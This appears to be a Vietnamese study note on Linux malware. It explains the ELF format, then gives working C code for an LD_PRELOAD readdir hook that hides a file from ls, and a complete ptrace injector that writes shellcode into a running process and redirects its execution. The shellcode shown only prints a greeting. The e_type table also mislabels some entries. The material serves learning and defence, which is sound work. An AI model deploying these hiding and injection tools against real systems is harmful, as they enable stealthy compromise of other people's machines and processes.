Hook & Inject

Linux Malware

CẤU TRÚC FILE ELF

Tổ chức tệp ELF

Tương tự như file PE, file ELF có header và các section.

ELF header

#define EI_NIDENT	16
typedef struct{
	unsigned char	e_ident[EI_NIDENT];
	Elf32_Half		e_type;
	Elf32_Half		e_machine;
	Elf32_Word		e_version;
	Elf32_Addr		e_entry;
	Elf32_Off		e_phoff;
	Elf32_Off		e_shoff;
	Elf32_Word		e_flags;
	Elf32_Half		e_ehsize;
	Elf32_Half		e_phentsize;
	Elf32_Half		e_phnum;
	Elf32_Half		e_shentsize;
	Elf32_Half		e_shnum;
	Elf32_Half		e_shstrndx;
}Elf32_Ehdr;

Ý nghĩa các trường quan trọng:

  • E_ident:

Name

Value

Purpose

EI_MAG0

0

File identification

EI_MAG1

1

File identification

EI_MAG2

2

File identification

EI_MAG3

3

File identification

EI_CLASS

4

File class

EI_DATA

5

Data encoding

EI_VERSION

6

File version

EI_PAD

7

Start of padding bytes

EI_NIDENT

16

Size of e_ident[]

  • E_type:

Name

Value

Meaning

ET_NONE

0

No file type

ET_REL

1

Relocatable file

ET_REL

2

Executable file

ET_DYN

3

Shared object file

ET_DYN

4

Core file

ET_LOPROC

0xff00

Processor-specific

ET_LOPROC

0xffff

Processor-specific

  • E_entry: VA của entrypoint.

  • E_phoff: offset trên file của program header table

  • E_shoff: offset trên file của section header table

  • E_ehsize: elf header’s size

  • E_phentsize: trả về kích thước 1 entry trong program header table, tất cả entry có cùng 1 kích thước.

  • E_phnum: số lượng entries trong program header table.

  • E_shentsize: a section header’s size in bytes.

  • E_shnum: số lượng entries trong section header table.

Program loading

  • Việc map file từ disk lên memory tương tự windows:

  • Những segment có trường p_type là PT_LOAD sẽ được load lên mem, tương tự cách load từng section lên mem của file PE. Các segment khác được khai báo trong header sẽ là 1 phần của section PT_LOAD.

  • Có thể đọc thông tin file ELF bằng công cụ readelf:

CÁC KỸ THUẬT NÂNG CAO

Inject process

  • Do nhu cầu thực tế, có những trường hợp cần chặn(hook) các system call, cần thay đổi tham số đầu vào… Thay vì lập trình kernel rất phức tạp, linux cung cấp cơ chế ptrace, theo đó 1 tiến trình cha có thể quan sát và kiểm soát việc thực thi của 1 tiến trình con.

  • Mặc định linux không cho phép sử dụng ptrace. Muốn sử dụng ptrace, ta phải set cấu hình trong file /proc/sys/kernel/yama/ptrace_scope

    • 0: tất cả process đều có thể debug.

    • 1: chỉ parent process có thể debug child process

    • 2: chỉ process admin có thể debug

    • 3: không cho phép ptrace.

  • Nếu chiếm được quyền root, hacker có thể lợi dụng set lại cấu hình ptrace để có thể debug/inject mọi process.

  • Nhận biết: cat /proc/sys/kernel/yama/ptrace_scope

-> Nếu giá trị hiển thị là 0 thì phải xác minh.

  • Hàm ptrace có cấu trúc như sau:

long ptrace(enum __ptrace_request request, pid_t pid,
                   void *addr, void *data);
  • Request: request đến pid, có thể là đọc/ghi/alloc data, thực thi code, …Tham khảo thêm tại http://man7.org/linux/man-pages/man2/ptrace.2.html

  • Tương tự như inject code trên windows, có 2 cách thường dùng để inject code:

    • Alloc + write shellcode và thực thi code này.

    • Alloc + write shellcode có chức năng load thư viện .so => sử dụng phương pháp này nếu đoạn code cần inject có nhiều chức năng phức tạp; hoặc dành cho script kiddie, chỉ cần code file .so bình thường rồi copy shellcode có chức năng load file .so là xong. Không yêu cầu kỹ năng viết shellcode.

Hook share library:

  • Linux cung cấp biến môi trường LD_PRELOAD, dùng để chỉ định 1 share library sẽ được ưu tiên gọi lên trước(tương đương với đường dẫn Appinit_dlls trong registry của Windows). Người ta thường dùng tính năng này để debug, nhưng cũng có thể lợi dụng để hook 1 hàm có sẵn

  • Ví dụ LD_PRELOAD trỏ đến thư viện VT.so, trong thư viện này có định nghĩa 1 hàm puts (cùng tên với hàm puts trong stdio.h). Khi 1 chương trình gọi puts, hàm puts trong VT.so sẽ được gọi thay vì hàm puts trong của stdio.h. Trong hàm puts mới, lấy địa chỉ hàm puts cũ bằng cách dùng dlsym, tương tự getprocaddress trong windows

  • Nhận biết:

    • echo $LD_PRELOAD

    • cat /etc/ld.so.preload

  • Practice: ẩn file hainh45.txt qua lệnh ls

    • Source: hook_ls.c

#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <string.h>
#include <dirent.h>

typedef struct dirent* ZZZ;

static ZZZ ent;

struct dirent* readdir(DIR *dirp)
{
	struct dirent* (*new_readdir)(DIR *dirp2);
	new_readdir = dlsym(RTLD_NEXT, "readdir");
	ent = (struct dirent*)new_readdir(dirp);
	if (strncmp(ent->d_name, "hainh45.txt", 11) == 0)
	{
		//return new_readdir(dirp);
		return 0;
	}
	return ent;
}
  • Build: gcc -Wall -fPIC -shared -o hook_so.so hook_so.c –ldl

  • Run: export LD_PRELOAD=”/home/…/hook_ls.so”

-> Ls và hưởng thụ thành quả

BÀI TẬP

1. Thực hành hook ẩn file <tên mình>.txt khỏi lệnh ls.

#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <string.h>
#include <dirent.h>

// Định nghĩa kiểu hàm cho hàm readdir gốc
typedef struct dirent* (*real_readdir_t)(DIR*);

// Hàm ghi đè readdir
struct dirent* readdir(DIR *dirp)
{
    // Lấy địa chỉ của hàm readdir gốc
    real_readdir_t real_readdir = (real_readdir_t)dlsym(RTLD_NEXT, "readdir");
    struct dirent* ent;

    while ((ent = real_readdir(dirp)) != NULL) { // Lặp qua mỗi entry
        // Kiểm tra tên file
        if (strcmp(ent->d_name, "trungpq6.txt") != 0) {
            return ent; // Trả về entry nếu nó không phải file cần bỏ qua
        }
        // Nếu là "trungpq6.txt", tiếp tục đọc entry tiếp theo
    }

    // Trả về NULL nếu không còn entry nào hoặc chỉ có "trungpq6.txt"
    return NULL;
}

2. Inject đoạn code bất kỳ vào chương trình bất kỳ.

#include <stdio.h>
#include <errno.h>
#include <limits.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <sys/ptrace.h>

#define PID_MAX 32768
#define PID_MAX_STR_LENGTH 64

// Hello World
const char *SHELLCODE = "\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x31\xd2\x52\x52\x6a\x0a\x68\x72\x6c\x64\x21\x68\x6f\x20\x57\x6f\x68\x48\x65\x6c\x6c\x89\xe1\xb2\x0d\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80";

char *get_permissions_from_line(char *line);
long get_address_from_line(char *line);
long parse_maps_file(long victim_pid);

int main(int argc, const char *argv[]) {
    if (argc < 2) {
        fprintf(stderr, "Usage:\n\t./inject PID\n\n"
                "\tPID - PID of the process to inject code.\n");
        exit(EXIT_FAILURE);
    }

    long victim_pid = strtol(argv[1], (char **) NULL, 10);

    if (ptrace(PTRACE_ATTACH, victim_pid, NULL, NULL) < 0) {
        fprintf(stderr, "Failed to PTRACE_ATTACH: %s\n", strerror(errno));
        exit(EXIT_FAILURE);
    }
    wait(NULL);

    fprintf(stdout, "[*] Attach to the process with PID %ld.\n", victim_pid);

    struct user_regs_struct old_regs;
    if (ptrace(PTRACE_GETREGS, victim_pid, NULL, &old_regs) < 0) {
        fprintf(stderr, "Failed to PTRACE_GETREGS: %s\n", strerror(errno));
        exit(EXIT_FAILURE);
    }

    long address = parse_maps_file(victim_pid);
    
    size_t payload_size = strlen(SHELLCODE);
    uint64_t *payload = (uint64_t *)SHELLCODE;

    for (size_t i = 0; i < payload_size; i += 8, payload++) {
        if (ptrace(PTRACE_POKETEXT, victim_pid, address + i, *payload) < 0) {
            fprintf(stderr, "Failed to PTRACE_POKETEXT: %s\n", strerror(errno));
            exit(EXIT_FAILURE);
        }
    }

    struct user_regs_struct regs;
    memcpy(&regs, &old_regs, sizeof(struct user_regs_struct));
    regs.rip = address;

    if (ptrace(PTRACE_SETREGS, victim_pid, NULL, &regs) < 0) {
        fprintf(stderr, "Failed to PTRACE_SETREGS: %s. \n", strerror(errno));
        exit(EXIT_FAILURE);
    }

    if (ptrace(PTRACE_CONT, victim_pid, NULL, NULL) < 0) {
        fprintf(stderr, "Failed to PTRACE_CONT: %s. \n", strerror(errno));
        exit(EXIT_FAILURE);
    }

    fprintf(stdout, "[*] Successfully injected and jumped to the code.\n");

    return 0;
}

// Đọc quyền thực thi từ dòng trong file maps
char *get_permissions_from_line(char *line) {
    int first_space = -1;
    int second_space = -1;
    for (size_t i = 0; i < strlen(line); i++) {
        if (line[i] == ' ' && first_space == -1) {
            first_space = i + 1;
        }
        else if (line[i] == ' ' && first_space != -1) {
            second_space = i;
            break;
        }
    }
    
    if (first_space != -1 && second_space != -1 && second_space > first_space) {
        char *permissions = (char*)malloc(second_space - first_space + 1);
        if (permissions == NULL) {
            fprintf(stderr, "Could not allocate memory. Aborting.\n");
            return NULL;
        }
        for (size_t i = first_space, j = 0; i < (size_t)second_space; i++, j++) {
            permissions[j] = line[i];
        }
        permissions[second_space - first_space] = '\0';
        return permissions;
    }
    return NULL;

}

// Đọc địa chỉ từ dòng trong file maps
long get_address_from_line(char *line) {
    int address_last_occurance_index = -1;
    for (size_t i = 0; i < strlen(line); i++) {
        if (line[i] == '-') {
            address_last_occurance_index = i;
        }    
    }
    
    if (address_last_occurance_index == -1) {
        fprintf(stderr, "Could not parse address from line '%s'. Aborting.\n", line);
        return -1;
    }

    char *address_line = (char*)malloc(address_last_occurance_index + 1);
    if (address_line == NULL) {
        fprintf(stderr, "Could not allocate memory. Aborting.\n");
        return -1;
    }

    for (size_t i = 0; i < (size_t)address_last_occurance_index; i++) {

        address_line[i] = line[i];
    }
    
    address_line[address_last_occurance_index] = '\0';
    long address = strtol(address_line, (char **) NULL, 16);
    return address;
}

// Truyền vào file maps của process và tìm xem có section nào có quyền excecute hay không
long parse_maps_file(long victim_pid) {
    size_t maps_file_name_length = PID_MAX_STR_LENGTH + 12;
    char *maps_file_name = (char*)malloc(maps_file_name_length);
    if (snprintf(maps_file_name, maps_file_name_length, "/proc/%ld/maps", victim_pid) < 0) {
        fprintf(stderr, "Could not use snprintf: %s", strerror(errno));
        return -1;
    }

    FILE *maps_file = fopen(maps_file_name, "r");
    if (maps_file == NULL) {
        fprintf(stderr, "Could not open %s file. Aborting.\n", maps_file_name);
        return -1; 
    }
    
    char *maps_line = NULL;
    size_t maps_line_length = 0;
    while (getline(&maps_line, &maps_line_length, maps_file) != -1) {
        char *permissions = get_permissions_from_line(maps_line);
        
        if (permissions == NULL) {
            continue;
        } else if (strncmp("r-xp", permissions, 4) == 0) {
            fprintf(stdout, "[*] Found section mapped with %s permissions.\n", permissions);
            free(permissions);
            break;
        }
        free(permissions);
    }

    
    long address = get_address_from_line(maps_line);

    free(maps_line);
    
    return address;
}

Chương trình này sử dụng ptrace() để attach với một tiến trình đang chạy, cho phép can thiệp và thay đổi trạng thái hiện tại của tiến trình đó. Bằng cách xem xét file /proc/PID/maps, chương trình tìm kiếm một vùng nhớ có quyền thực thi, ví dụ như r-xp. Khi tìm thấy một vùng nhớ như vậy, chương trình sẽ ghi đè nội dung của vùng nhớ đó bằng shellcode của thông qua PTRACE_POKETEXT. Tiếp theo, chương trình sẽ chỉnh sửa các registers và đặt giá trị của thanh ghi rip bằng địa chỉ của vùng nhớ tìm thấy trong file maps. Cuối cùng, tiếp tục thực thi tiến trình với PTRACE_CONT.

Cụ thể, các bước thực hiện bao gồm:

  1. PTRACE_ATTACH với tiến trình mục tiêu thông qua PID được cung cấp qua dòng lệnh.

  2. Lấy thông tin các register hiện tại sử dụngPTRACE_GETREGS.

  3. Phân tích file /proc/PID/maps để tìm một địa chỉ có thể thực thi (r-xp).

  4. Ghi đè shellcode vào địa chỉ tìm được sử dụng PTRACE_POKETEXT.

  5. Thiết lập lại các register, với địa chỉ rip được chỉnh sửa để trỏ vào vùng nhớ chứa shellcode.

  6. Tiếp tục thực thi tiến trình mục tiêu (PTRACE_CONT).

Qua đó, shellcode được ghi vào một vùng nhớ có thể thực thi và được thực thi khi tiến trình tiếp tục chạy, cho phép thực hiện các hành động tuỳ ý.

© 2024,Pham Quoc Trung. All rights reserved.

Last updated